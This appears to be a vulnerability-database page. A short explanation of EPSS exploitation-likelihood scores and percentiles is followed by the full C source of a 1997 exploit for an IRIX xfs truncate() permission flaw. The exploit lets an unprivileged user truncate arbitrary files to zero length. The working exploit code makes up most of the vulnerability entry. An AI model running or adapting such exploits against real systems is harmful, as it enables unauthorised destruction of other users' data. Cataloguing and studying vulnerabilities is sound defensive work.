EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1540/info The truncate() system call on a number of versions of the IRIX operating system (with the xfs file system) does not properly check permissions before truncating a file, making it possible for unprivileged users to damage files to which they would otherwise not have write access. Although only versions 6.2, 6.3, and 6.4 are listed as vulnerable other versions may exhibit this behaviour as well. */ /*## copyright LAST STAGE OF DELIRIUM feb 1997 poland *://lsd-pl.net/ #*/ /*## truncate #*/ /* truncates any file on a xfs filesystem */ main(int argc,char **argv){ printf("copyright LAST STAGE OF DELIRIUM feb 1997 poland //lsd-pl.net\n"); printf("truncate for irix 6.2 6.3 6.4 IP:all\n\n"); if(argc!=2){ printf("usage: %s file\n",argv[0]); exit(-1); } if(!truncate(argv[1],0)) printf("file %s truncated\n",argv[1]); else perror("error"); }
